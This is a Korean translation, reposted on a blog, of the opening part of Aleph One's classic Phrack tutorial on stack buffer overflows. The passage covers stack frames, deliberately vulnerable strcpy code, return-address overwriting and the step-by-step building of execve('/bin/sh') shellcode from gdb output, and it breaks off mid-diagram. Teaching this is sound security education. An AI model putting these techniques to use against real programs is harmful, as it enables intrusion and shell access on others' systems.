블로그 이미지
SITD

카테고리

분류 전체보기 (34)
1.DB (4)
2.OS (3)
3.PROGRAMMING (14)
4.학업 (0)
5.영어 (0)
6.KSIT (5)
7.증권 (1)
8.EXCEL (0)
9.Graduate (2)
기타 (5)
Total
Today
Yesterday

달력

« » 2024.3
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
31

공지사항

태그목록

최근에 올라온 글

출처 : http://blog.naver.com/chgusgh?Redirect=Log&logNo=100006160017



Smashing.pdf



Phrack Magazine  7권 49호 - 총 16중 14번째                          
BugTraq, r00t, 그리고 Underground.Org 제공
                                  

                     XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                     Smashing The Stack For Fun And Profit
                      재미와 이득을 위한 스택 때려부수기
                     XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX


저자 : Aleph One <aleph1@underground.org>
번역 : 박상운 <greenray7@yahoo.co.kr>

* 역자주 : 번역이 미흡한 것 같으니, 잘 못 번역된 곳이 있으면 꼭 멜 보내주세요.


'스택 때려부수기(smash the stack)' [C 프로그래밍] : 많은 C 코드에서, 루틴에서 
자동으로 선언된 배열보다 길게 씀으로써 실행 스택을 변경할 수 있다. 이런 일을 
수행하는 코드를 스택을 때려부순다(smash the stack)라고 하며, 루틴에서 돌아와서 
임의의 주소로 뛰어 넘어가게 할 수도 있다. 이것은 인류에게 알려진 버그들 중에서, 
가장 함정에 빠지기 쉬운, 데이터에 의존적인 버그들을 일으킬 수 있다. 이것들은 
스택 치우기(trash), 스택 갈겨쓰기(scribble), 스택 난도질하기(mangle)를 포함한다; 
스택 개조하기(mung)란 말은 쓰이지 않는다. 왜냐하면 이것은 절대 고의적으로 되지
않기 때문이다. spam을 보라;또한 alias 버그, 코어상의 유치한 짓, 메모리상의 결함, 
우위의 분실(precedence lossage), overrun screw도 보라.

                                 소개
                                ~~~~~~

 지난 몇 달동안, 발견되고 또 이용된 버퍼 오버플로우 취약점들이 매우 많이 늘어났다.
예를 들면, syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD 마운트, Xtlibrary 등등
말이다. 이 글은 버퍼 오버플로우란 것이 무엇인지, 그리고 어떻게 이용해 먹는지를
설명할 것이다.

 어셈블리에 관한 기본적인 지식은 갖추고 있어야 한다. 가상 메모리의 개념에 대한 이해와
gdb 사용 경험은 매우 도움을 줄것이지만, 꼭 필수는 아니다. 우리는 또한 우리가 Intel x86
CPU로 작업하고 있으며 운영체계는 리눅스라는 것을 전제로 한다.

 시작하기 전 몇가지 기초 정의 : 버퍼는, 같은 데이터 형으로 된 다중의 인스턴스를 
담고 있는, 컴퓨터 메모리의 연속된 블럭을 뜻한다. C 프로그래머들은 보통 워드 버퍼
배열을 연상한다. 가장 흔하게는 문자 배열을 관련시켜 생각한다. C에서의 모든 변수들과 
같이, 배열은 정적 혹은 동적으로 선언될 수 있다. 정적인 변수들은 프로그램이 로드될 때 
데이터 부분(data segment)에 할당된다. 동적인 변수들은 실행중에 스택에 할당된다. 
오버플로우라는 것은 꼭대기나 가장자리, 혹은 경계를 넘어서 넘쳐 흐르거나 넘치도록 
채우는 것을 뜻한다. 우리는 스택을 기반으로 한 버퍼 오버플로우로 알려진, 동적인 버퍼들의 
오버플로우만을 다룰 것이다.

                           프로세스 메모리의 구조
                          ~~~~~~~~~~~~~~~~~~~~~~~~

 스택 버퍼란 것이 무엇인지 이해하기 위해서는, 우리는 메모리에서 프로세스가
어떻게 이루어졌는가를 먼저 이해해야 한다. 프로세스들은 3가지 지역으로 나뉜다:
텍스트(text), 데이터, 그리고 스택(stack). 우리는 스택 지역에 집중할 것이지만,
먼저 순서대로 다른 지역들도 약간 살펴볼 것이다.

 Text 지역은 프로그램에 의해 고정되어 있다. 그리고 명령코드(명령)와 읽기 전용인
데이터를 포함하고 있다. 이 지역은 실행파일의 Text부분에 해당한다. 이 지역은 보통 읽기 
전용으로 되어 있으며, 그것에 기록하려 한다면 지역침입 에러(segmentation violation)가 
발생할 것이다.

 데이터 지역은 초기화된 것과 초기화되지 않은 데이터를 포함하고 있다. 정적인 변수들은
이 지역에 저장되어 있다. 데이터 지역은 실행파일의 data-bss 지역에 해당한다. 그것의 
크기는 brk(2) 시스템 호출로 바뀔 수 있다. 만약 bss데이터나 사용자 스택이 늘어나서
사용가능한 메모리를 다 써버린다면, 프로세스는 가로막혀지고, 더 큰 메모리 공간에서
다시 실행하도록 다시 계획된다. 새로운 메모리는 데이터 지역과 스택 지역사이에 추가
된다.

                             /------------------\  낮은
                             |                  |  메모리
                             |       Text       |  주소
                             |                  |
                             |------------------|
                             |    (초기화 됨)   |
                             |       Data       |
                             |   (초기화 안됨)  |
                             |------------------|
                             |                  |
                             |       Stack      |  높은
                             |                  |  메모리
                             \------------------/  주소

                         그림. 1 프로세스 메모리 지역들


                               스택이란 무엇인가?
                              ~~~~~~~~~~~~~~~~~~~~

스택은 컴퓨터 과학에서 자주 사용되는 추상적인 테이터 형이다. 스택은 스택상에서
가장 끝에 자리잡고 있는 객체가 가장 먼저 제거되는 객체가 되는 특징을 가지고 있다. 
이 특성은 보통 "가장 나중에 들어온 것이, 가장 먼저 나간다" 또는 LIFO로 불려진다.

 스택 상에서는 몇가지 명령이 정의되어 있다. 가장 중요한 2가지는 밀어넣기(PUSH)와 
꺼내기(POP)이다. PUSH는 스택의 꼭대기에 원소 1개를 추가한다. POP은 그 반대로
스택의 꼭대기에 있는 가장 마지막의 원소를 제거함으로써 스택의 크기를 한 원소만큼
감소시킨다.


                             우리는 왜 스택을 사용하는가?
                            ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

 현대의 컴퓨터들은 고급언어들의 필요에 따라 설계되었다. 고급언어로 프로그램들을 
구성하는데 가장 중요한 기술은 프로시저나 함수이다. 어떤 시점에서 보면, 프로시저
호출은 jump명령이 그러하듯이 제어의 흐름을 변경하지만, jump와는 다르게 그것의
작업을 끝낸 후에는, 호출명령 다음에 따르는 진술이나 명령에 제어를 되돌려 준다. 
이 고급의 추상적 개념은 스택의 도움으로 가능하다.

 스택은 또한 함수내에서 지역변수들을 동적으로 할당하거나, 함수에 인자들을 넘기거나,
함수로부터 값을 되돌려 줄 때 사용된다.


                                스택 지역
                               ~~~~~~~~~~~

 스택은 데이터를 포함하고 있는 메모리의 연속된 블럭이다. 스택 포인터(SP)라고 불리우는
레지스터는 스택의 꼭대기를 가리킨다. 스택의 밑바닥은 고정된 주소에 있다. 그것의 크기는
실행도중에 커널에 의해 동적으로 조절된다. CPU는 스택에 밀어넣고(PUSH) 꺼내는(POP)
명령들을 수행한다.

 스택은 함수가 호출될때 push되고, 되돌아올때 pop되는 논리적인 스택 프레임으로 이루어 
졌다. 스택 프레임은 함수에 전달되는 인자들, 함수의 지역 변수들, 그리고 함수 호출시의
명령 포인터(instruction pointer)의 값을 포함한, 바로 전 스택 프레임을 복구하기 위한 데이터
를 포함한다.

 이행에 의존하여, 스택은 아래로 뻗어가거나(낮은 메모리 주소를 향해) 위로 자랄것이다.
우리 예제들에서는, 아래로 뻗어가는 스택을 사용할 것이다. 이것은 Intel,Motorola,SPARC
그리고 MIPS 프로세서들을 포함한 많은 컴퓨터에서 스택이 뻗어가는 방법이다. 스택포인터
(SP)는 또한 이행에 의존적이다. 그것은 스택의 마지막 주소를 가리킬 수도 있고, 또는
스택다음의 사용가능한 주소를 가리킬 수도 있다. 여기서는, 우리는 그것이 스택의 마지막
주소를 가리킨다고 생각하자.

 스택 포인터에 덧붙여 말하자면, 스택 포인터는 스택의 꼭대기를 가리키는데(숫자적으로 
가장 낮은 주소), 프레임 내에서 고정된 위치를 가리키는 프레임포인터(FP)를 가진다면 
그것은 때때로 편리할 것이다. 어떤 문서들에서는 또한 그것을 지역 바닥 포인터(LB)라고 
부른다. 원칙적으로, 지역 변수들은 SP로부터 떨어진 거리를 써서 참조될 수 있다. 하지만,
데이터들이 스택에 push되고 pop되기 때문에, SP로부터의 거리(offset)는 변하기 마련이다.
비록 어떤 경우에 있어서, 컴파일러는 스택상의 데이터들의 수를 기억함으로써 그 거리를
정정하지만, 다른 경우에는 불가능할 뿐더러 모든 경우에, 고려하면서 관리해야 한다.
게다가, Intel을 기반으로한 프로세서같은 것에서는, SP로부터의 거리를 안다고 해도,
그 변수에 접근하는 것은 다중의 명령을 필요로 한다.

 결론적으로, 많은 컴파일러들이 두 번째 레지스터, 즉 FP를 지역변수와 인자 모두를
참조하는데 사용한다. 왜냐하면 FP로부터의 거리는 PUSH와 POP명령으로 인해
변하지 않기 때문이다. Intel CPU에서는, BP (EBP)가 이런 목적으로 쓰인다. Motorola 
CPU에서는 스택 포인터인 A7만 제외하고 어떤 주소 레지스터도 이 일을 할 수 있을 것이다.
스택이 뻗어가는 방법때문에, 실제 인자들은 FP로부터의 거리(offset)가 양수이고,
지역변수들은 FP로부터의 거리(offset)가 음수이다.

 프로시저가 호출되었을 때, 프로시저가 가장 먼저 해야 할 일은 바로 전의 FP를 저장하는
것이다(프로시저가 종료될때, 원래값을 되돌려 주기 위해). 그런다음 그것은 새로운 FP를
만들기 위해, SP를 FP로 복사한다. 그리고 지역변수들을 위한 공간을 예약하기 위해 SP를
전진시킨다. 이 코드는 프로시저의 도입부(prolog)라고 불린다. 프로시저가 종료될때, 스택은
다시 깔끔하게 청소되어야 하는데, 이것을 프로시저의 결말(epilog)이라고 부른다. Intel의 
ENTER와 LEAVE 명령들과 Motorola의 LINK와 UNLINK 명령들은 프로시저의 프롤로그와
에필로그의 대부분을 효과적으로 하기 위해 제공된다.
   
  짧은 예에서 스택이 어떠한 모양을 갖추고 있는지 살펴보자:


example1.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
   char buffer1[5];
   char buffer2[10];
}

void main() {
  function(1,2,3);
}
------------------------------------------------------------------------------

 프로그램이 function()함수를 부르기 위해 무엇을 하는지를 이해하기 위해, 어셈블리 코드를
생성시키기 위해서는 -S 옵션을 사용하여 gcc로 컴파일한다:

  $ gcc -S -o example1.s example1.c
  

  어셈블리어 출력물을 봄으로써, 우리는 function()을 호출하는 것이 다음과 같이
번역된다는 것을 알 수 있다:

        pushl $3
        pushl $2
        pushl $1
        call function

  이것은 함수에 대한 3개의 인자들을 스택에 반대순서(3,2,1)로 밀어 넣는다. 그리고 
function()을 호출한다. 'call' 명령은 명령 포인터(IP)를 스택에 밀어 넣을(push) 것이다. 
우리는 이 저장된 IP를 복귀 주소(RET)라고 부를 것이다. 함수안에서 가장 먼저 처리되는
것은 프로시저 프롤로그이다:

        pushl %ebp
        movl %esp,%ebp
        subl $20,%esp

 이것은 프레임 포인터인 EBP를 스택에 밀어 넣는다. 그런다음 EBP를 새로운 FP포인터로
만들기 위해 현재의 SP를 EBP에 복사한다. 우리는 이 저장된 FP를 SFP라고 부를 것이다. 
그런다음 지역 변수들의 크기만큼 SP를 감소시킴으로써 지역 변수들을 위해 공간을 할당한다. 

 우리는, 메모리가 워드 크기의 배수만큼만 지정될 수 있다는 것을 기억해야 한다.
우리의 경우에 한 워드는 4바이트, 즉 32비트이다. 그러므로 5바이트의 버퍼는 실제로는
8바이트(2워드)만큼의 메모리를 차지할 것이고 10바이트의 버퍼는 12바이트(3워드)만큼
의 메모리를 차지할 것이다. 그게 바로 SP가 20만큼 감소되는 이유이다. 이것을 명심하고
function()함수가 호출될 때 스택이 어떤 모습을 하고 있을지 살펴보자(각각의 1칸은 
1바이트를 나타낸다):


메모리의                                                            메모리의
 아래쪽                                                                 위쪽
           buffer2       buffer1   sfp   ret   a     b     c
<------   [            ][        ][    ][    ][    ][    ][    ]
	   
 스택의                                                              스택의
   위쪽                                                              아래쪽


                                버퍼 오버플로우
                               ~~~~~~~~~~~~~~~~~

 버퍼 오버플로우는 버퍼가 다룰 수 있는 것보다 더 많은 데이터를 버퍼에 채움으로써
일어난다. 이렇게 자주 발견되는 프로그래밍 에러가 임의의 코드를 실행하는데 어떻게
사용되어 질 수 있는가? 다른 예를 한 번 살펴보자:


example2.c
------------------------------------------------------------------------------
void function(char *str) {
   char buffer[16];

   strcpy(buffer,str);
}

void main() {
  char large_string[256];
  int i;

  for( i = 0; i < 255; i++)
    large_string[i] = 'A';

  function(large_string);
}
------------------------------------------------------------------------------

 이 프로그램에는 전형적인 버퍼 오버플로우 코딩 에러를 포함한 함수가 있다.
그 함수는 문자열 길이를 확인(bounds checking)하지 않고, strncpy() 함수 대신에 
strcpy() 함수를 사용하여 주어진 문자열을 복사한다. 만약 여러분이 이 프로그램을
실행시킨다면, 지역침입 에러(segmentation violation)가 발생할 것이다.
우리가 함수를 부를 때, 스택이 어떤 모습을 하고 있는지 살펴보자:



메모리의                                                         메모리의
 아래쪽                                                            위쪽
                  buffer            sfp   ret   *str
<------          [                ][    ][    ][    ]

 스택의                                                          스택의
  위쪽                                                           아래쪽


 여기서 무슨일이 벌어지는가? 왜 지역침입 에러(segmentation violation)가 발생하는가?
간단하다. strcpy()함수는 문자열에서 널문자가 발견될때까지, *str(larger_string[])의 내용을
buffer[]로 복사한다. 우리도 볼 수 있듯이, buffer[]는 *str보다 훨씬 작다. buffer[]는 16바이트
길이지만, 우리는 그것을 256바이트로 채우려고 한다. 이것은 스택에 있는 buffer뒤의 240
바이트가 모두 덮여 쓰여진다는 것을 의미한다. 이것은 SFP, RET 그리고 심지어 *str까지도
포함한다. 우리는 large_string을 문자 'A'로 채웠었다. 그것의 16진수 문자 값은 0x41이다.
이것은 복귀주소(RET)가 이제 0x41414141이라는 것을 의미한다. 이 주소는 프로세스 
주소공간 바깥에 있다. 그게 바로 함수가 복귀된 후, 그 주소로부터 다음 명령을 읽으려고
할때, 지역침입 에러(segmentation violation)가 발생하는 이유이다.

* 역자주 : 위의 240바이트는 원문에서는 250바이트로 되어 있었으나, 잘못된 것 같아서 240
               으로 수정했습니다.

 그러므로, 버퍼 오버플로우는 우리가 함수의 복귀주소(RET)를 바꿀 수 있도록 해 준다.
이 방법으로, 우리는 프로그램의 실행흐름을 변경할 수 있다. 첫 번째 예제로 돌아가서
스택이 어떤 모양을 하고 있었는지 기억을 되살려 보자:

메모리의                                                            메모리의
 아래쪽                                                                 위쪽
           buffer2       buffer1   sfp   ret   a     b     c
<------   [            ][        ][    ][    ][    ][    ][    ]
	   
 스택의                                                              스택의
   위쪽                                                              아래쪽

 우리의 첫번째 예제를 수정해서 그것이 복귀주소(RET)를 덮어 쓰도록하자. 그리고
우리가 어떻게 그것이 임의의 코드를 실행하도록 만들 수 있는지 설명해 보자. SFP는
스택에 있는 buffer1[]의 바로 앞에 있다. 그리고 SFP 앞에는 복귀주소(RET)가 있다.
buffer1[]의 끝을 지나는 것은 4바이트이다. 하지만 buffer1[]은 실제로는 2워드 즉 
8바이트라는 것을 기억해라. 함수 호출이 된 후에, 우리는 대입식인 'x=1;'과 같은 
방법으로 복귀값을 수정할 것이다. 그렇게 하기 위해서는 우리는 복귀주소(RET)에 
8바이트를 더해야 한다. 코드는 여기 있다:


example3.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
   char buffer1[5];
   char buffer2[10];
   int *ret;

   ret = buffer1 + 12;
   (*ret) += 8;
}

void main() {
  int x;

  x = 0;
  function(1,2,3);
  x = 1;
  printf("%d\n",x);
}
------------------------------------------------------------------------------

 우리가 한 일은 buffer1[]의 주소에 12를 더한 것이다. 이 새로운 주소는 복귀주소(RET)가
저장된 곳이다. 우리는 할당식을 뛰어넘어 printf함수 호출로 넘어가기를 원한다. 우리는
어떻게 복귀주소(RET)에 8바이트를 더할 것을 알았는가? 우리는 먼저 시험값을 사용했고
(예제 1을 위해), 프로그램을 컴파일한 후에 gdb를 시작했다.

------------------------------------------------------------------------------
[aleph1]$ gdb example3
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 <main>:       pushl  %ebp
0x8000491 <main+1>:     movl   %esp,%ebp
0x8000493 <main+3>:     subl   $0x4,%esp
0x8000496 <main+6>:     movl   $0x0,0xfffffffc(%ebp)
0x800049d <main+13>:    pushl  $0x3
0x800049f <main+15>:    pushl  $0x2
0x80004a1 <main+17>:    pushl  $0x1
0x80004a3 <main+19>:    call   0x8000470 <function>
0x80004a8 <main+24>:    addl   $0xc,%esp
0x80004ab <main+27>:    movl   $0x1,0xfffffffc(%ebp)
0x80004b2 <main+34>:    movl   0xfffffffc(%ebp),%eax
0x80004b5 <main+37>:    pushl  %eax
0x80004b6 <main+38>:    pushl  $0x80004f8
0x80004bb <main+43>:    call   0x8000378 <printf>
0x80004c0 <main+48>:    addl   $0x8,%esp
0x80004c3 <main+51>:    movl   %ebp,%esp
0x80004c5 <main+53>:    popl   %ebp
0x80004c6 <main+54>:    ret
0x80004c7 <main+55>:    nop
------------------------------------------------------------------------------

 function()함수를 호출할때, RET는 0x80004a8이 될것이라는 것을 알 수 있다. 그리고
우리는 0x80004ab에 있는 할당식을 뛰어 넘어가기를 원한다. 우리가 실행하기를 원하는
다음 명령은 0x80004b2에 있다. 잠깐만 계산해 보면 거리가 8바이트라는 것을 알 수 있다.


                                   쉘코드
                                  ~~~~~~~~

 이제 우리는 복귀주소(RET)와 실행의 흐름을 수정할 수 있다는 사실을 알고 있다.
하지만 우리는 어떤 프로그램을 실행시키기를 원하는가? 대부분의 경우에, 우리는
프로그램이 쉘을 띄우기를 원한다. 그러면 쉘로부터 우리는 우리가 원하는 다른 
명령들도 실행할 수 있다. 하지만 우리가 이용하고자 하는 프로그램안에 그런 코드가
있지 않다면? 어떻게 우리는 임의의 명령을 그것의 주소공간에 위치시킬 것인가?
해답은 우리가 실행하기를 원하는 코드를, 오버플로우되고 있는 버퍼에 위치시키고
복귀주소(RET)가 다시 그 버퍼를 가리키도록 RET를 덮어쓰는 것이다. 스택이 주소
0xFF에서 시작하며 S는 우리가 실행하기를 원하는 코드를 뜻한다고 생각하면서,
스택이 어떤 모양을 하고 있을지 살펴보자:

bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory
           buffer                sfp   ret   a     b     c

<------   [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
           ^                            |
           |____________________________|
top of                                                            bottom of
stack                                                                 stack


 C 에서 쉘을 실행시키기 위한 코드는 다음과 같다:

shellcode.c
-----------------------------------------------------------------------------
#include <stdio.h>

void main() {
   char *name[2];

   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}
------------------------------------------------------------------------------

  위의 것이 어셈블리로는 어떻게 표현되는 지를 알기 위해서는, 그것을 컴파일한 후 gdb를 
시작해야 한다. -static 플래그를 쓰는 것을 기억해라. 그렇지 않으면 execve 시스템 호출에
해당하는 실제 코드는 포함되지 않을 것이다. 대신에 보통 프로그램이 로드될 때 연결되는 
동적인 C 라이브러리를 참조할 것이다.

------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     subl   $0x8,%esp
0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>:    pushl  $0x0
0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax
0x8000149 <main+25>:    pushl  %eax
0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax
0x800014d <main+29>:    pushl  %eax
0x800014e <main+30>:    call   0x80002bc <__execve>
0x8000153 <main+35>:    addl   $0xc,%esp
0x8000156 <main+38>:    movl   %ebp,%esp
0x8000158 <main+40>:    popl   %ebp
0x8000159 <main+41>:    ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>:   pushl  %ebp
0x80002bd <__execve+1>: movl   %esp,%ebp
0x80002bf <__execve+3>: pushl  %ebx
0x80002c0 <__execve+4>: movl   $0xb,%eax
0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx
0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx
0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx
0x80002ce <__execve+18>:        int    $0x80
0x80002d0 <__execve+20>:        movl   %eax,%edx
0x80002d2 <__execve+22>:        testl  %edx,%edx
0x80002d4 <__execve+24>:        jnl    0x80002e6 <__execve+42>
0x80002d6 <__execve+26>:        negl   %edx
0x80002d8 <__execve+28>:        pushl  %edx
0x80002d9 <__execve+29>:        call   0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>:        popl   %edx
0x80002df <__execve+35>:        movl   %edx,(%eax)
0x80002e1 <__execve+37>:        movl   $0xffffffff,%eax
0x80002e6 <__execve+42>:        popl   %ebx
0x80002e7 <__execve+43>:        movl   %ebp,%esp
0x80002e9 <__execve+45>:        popl   %ebp
0x80002ea <__execve+46>:        ret
0x80002eb <__execve+47>:        nop
End of assembler dump.
------------------------------------------------------------------------------

여기서 무슨일이 일어나는지 이해하도록 하자. 먼저 main함수를 알아보며 시작하자:

------------------------------------------------------------------------------
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     subl   $0x8,%esp

	이것은 프로시저 도입부이다. 그것은 먼저 예전의 프레임 포인터를 저장하고,
	현재의 스택 포인터를 새로운 프레임 포인터로 만든다. 그리고 지역변수들을
	위한 공간을 남겨둔다. 이 경우 그것은:

	char *name[2];

	즉, char데이터형을 가리키는 2개의 포인터이다. 포인터는 길이가 
	1 워드이므로, 그것은 2워드(8바이트)를 위한 공간을 남겨둔다.

0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)

	우리는 0x80027b8 (문자열인 "/bin/sh"의 주소)값을 name[]의 첫번째
	포인터에 복사한다. 이것은 다음에 해당한다:

	name[0] = "/bin/sh";

0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)

	우리는 0x0값(NULL)을 name[]의 두번째 포인터에 복사한다.
	이것은 다음에 해당한다:

	name[1] = NULL;

	execve() 함수의 실제 호출은 여기서 시작한다.

0x8000144 <main+20>:    pushl  $0x0

	execve()의 인자들을 스택에 반대순서로 밀어넣는다.
	NULL로 시작한다.

0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax

	name[]의 주소를 EAX레지스터로 불러들인다.

0x8000149 <main+25>:    pushl  %eax

	name[]의 주소를 스택에 밀어 넣는다.

0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax

	문자열인 "/bin/sh"의 주소를 EAX레지스터로 불러들인다.

0x800014d <main+29>:    pushl  %eax

	문자열인 "/bin/sh"의 주소를 스택에 밀어 넣는다.

0x800014e <main+30>:    call   0x80002bc <__execve>

	라이브러리 프로시저인 execve()를 호출한다. call명령은 IP를 스택에
	밀어 넣는다.
------------------------------------------------------------------------------

 이제 execve()를 할 차례다. 우리는 Intel기반 리눅스 시스템을 사용하고 있다는 것을 명심해라.
시스템 호출의 세부사항은 OS와 CPU에 따라서 달라질 것이다. 어떤 것은 인자들을 스택으로
넘기는 한편, 다른 것은 레지스터로 넘긴다. 어떤 것은 커널모드로 넘어가기 위해서 소프트웨어
인터럽트를 사용하지만, 다른 것은 far 호출을 사용한다. 리눅스는 시스템 호출의 인자들을
레지스터로 넘기고, 커널모드로 넘어가기 위해서 소프트웨어 인터럽트를 사용한다.

------------------------------------------------------------------------------
0x80002bc <__execve>:   pushl  %ebp
0x80002bd <__execve+1>: movl   %esp,%ebp
0x80002bf <__execve+3>: pushl  %ebx

	프로시저 도입부.

0x80002c0 <__execve+4>: movl   $0xb,%eax

	0xb(10진수로 11)을 스택에 복사한다. 이것은 시스템 호출 목록의
	색인이다. 11은 execve를 뜻한다.

0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx

	"/bin/sh"의 주소를 EBX로 복사한다.

0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx

	name[]의 주소를 ECX로 복사한다.

0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx

	null 포인터의 주소를 EDX로 복사한다.

0x80002ce <__execve+18>:        int    $0x80

	커널모드로 바꾼다.
------------------------------------------------------------------------------

execve() 시스템 호출에 그리 많은 것이 있지 않다는 것을 알 수 있다. 우리가 해야하는
전부는 다음과 같다:

	a) null문자로 종료되는 문자열 "/bin/sh"을 메모리의 어딘가에 위치시킨다.
	b) 워드길이의 null이 뒤따르는, "/bin/sh"문자열의 주소를 메모리의 어딘가에
	   위치시킨다.
	c) 0xb를 EAX 레지스터에 복사한다.
	d) 문자열 "/bin/sh"의 주소의 주소를 EBX 레지스터에 복사한다.
	e) 문자열 "/bin/sh"의 주소를 ECX 레지스터에 복사한다.
	f) 워드길이의 null의 주소를 EDX 레지스터에 복사한다.
	g) int $0x80 명령을 실행한다.

 하지만 execve() 호출이 어떤 이유로 인해 실패한다면? 프로그램은 임의의 데이터를
포함하고 있을지 모르는 스택으로부터 계속해서 명령을 읽어 들일 것이다. 프로그램은
대부분 코어 덤프를 일으킬 것이다. 만약 execve 시스템 호출이 실패한다면, 우리는 
프로그램이 깨끗하게 종료되기를 원한다. 이것을 성취하기 위해서는, 우리는 execve
시스템 호출 다음에 exit 시스템 호출을 추가해야 한다. exit 시스템 호출은 어떤 모양을
하고 있는가?

exit.c
------------------------------------------------------------------------------
#include <stdlib.h>

void main() {
        exit(0);
}
------------------------------------------------------------------------------

------------------------------------------------------------------------------
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>:      pushl  %ebp
0x800034d <_exit+1>:    movl   %esp,%ebp
0x800034f <_exit+3>:    pushl  %ebx
0x8000350 <_exit+4>:    movl   $0x1,%eax
0x8000355 <_exit+9>:    movl   0x8(%ebp),%ebx
0x8000358 <_exit+12>:   int    $0x80
0x800035a <_exit+14>:   movl   0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>:   movl   %ebp,%esp
0x800035f <_exit+19>:   popl   %ebp
0x8000360 <_exit+20>:   ret
0x8000361 <_exit+21>:   nop
0x8000362 <_exit+22>:   nop
0x8000363 <_exit+23>:   nop
End of assembler dump.
------------------------------------------------------------------------------

 exit 시스템 호출은 0x1을 EAX에 위치시키고, exit 코드를 EBX에 위치시키고
"int $0x80"을 실행할 것이다. 바로 그거다. 대부분의 응용 프로그램들은 아무런 
에러가 없었다고 알리기 위해 종료시에 0을 반환한다. 우리는 EBX에 0을 위치
시킬 것이다. 순서리스트는 다음과 같다:

	a) null문자로 종료되는 문자열 "/bin/sh"을 메모리의 어딘가에 위치시킨다.
	b) 워드길이의 null이 뒤따르는, "/bin/sh"문자열의 주소를 메모리의 어딘가에
	   위치시킨다.
	c) 0xb를 EAX 레지스터에 복사한다.
	d) 문자열 "/bin/sh"의 주소의 주소를 EBX 레지스터에 복사한다.
	e) 문자열 "/bin/sh"의 주소를 ECX 레지스터에 복사한다.
	f) 워드길이의 null의 주소를 EDX 레지스터에 복사한다.
	g) int $0x80 명령을 실행한다.
	h) 0x1을 EAX 레지스터에 복사한다.
	i) 0x0을 EBX 레지스터에 복사한다.
	j) int $0x80 명령을 실행한다.


 이것을 어셈블리어로 조합하려고 하면서, 문자열을 코드다음에 위치시키면서,
그리고 문자열의 주소와 null워드를 배열다음에 위치시킬 것을 기억하면 이렇게
된다:
------------------------------------------------------------------------------
        movl   string_addr,string_addr_addr
        movb  $0x0,null_byte_addr
        movl   $0x0,null_addr
        movl   $0xb,%eax
        movl   string_addr,%ebx
        leal   string_addr,%ecx
        leal   null_string,%edx
        int    $0x80
        movl   $0x1, %eax
        movl   $0x0, %ebx
	int    $0x80
        /bin/sh string goes here.
------------------------------------------------------------------------------

 문제는 우리가 코드(그리고 그것을 뒤따르는 문자열)를 이용하고자 하는 프로그램의 
메모리 공간이 어디가 될지 모른다는 것이다. 그것을 해결하는 한 방법은 JMP와 CALL
명령을 사용하는 것이다. JMP와 CALL 명령은 IP 상대번지를 쓸 수 있다. 이것은
우리가 뛰어 넘어가고 싶은 메모리의 정확한 주소를 알 필요가 없이 현재 IP로부터
떨어진 곳으로 뛰어 넘어갈 수 있다는 것을 의미한다. 만약 우리가 CALL명령을 
"/bin/sh"문자열 바로 앞에 위치시킨다면, 또 JMP명령 또한 위치시킨다면, 문자열의
주소는 CALL이 실행될 때, 복귀주소로써 스택에 밀어 넣어질 것이다. 그러면, 우리가
필요한 전부는 복귀주소를 레지스터로 복사하는 것이다. CALL명령은 단순히 위에
있는 우리의 코드의 시작을 호출한다. J가 JMP명령을 나타내고, C가 CALL명령을
나타내며 s는 문자열을 뜻한다고 생각하면, 실행흐름은 이제 다음과 같을 것이다: 

bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory
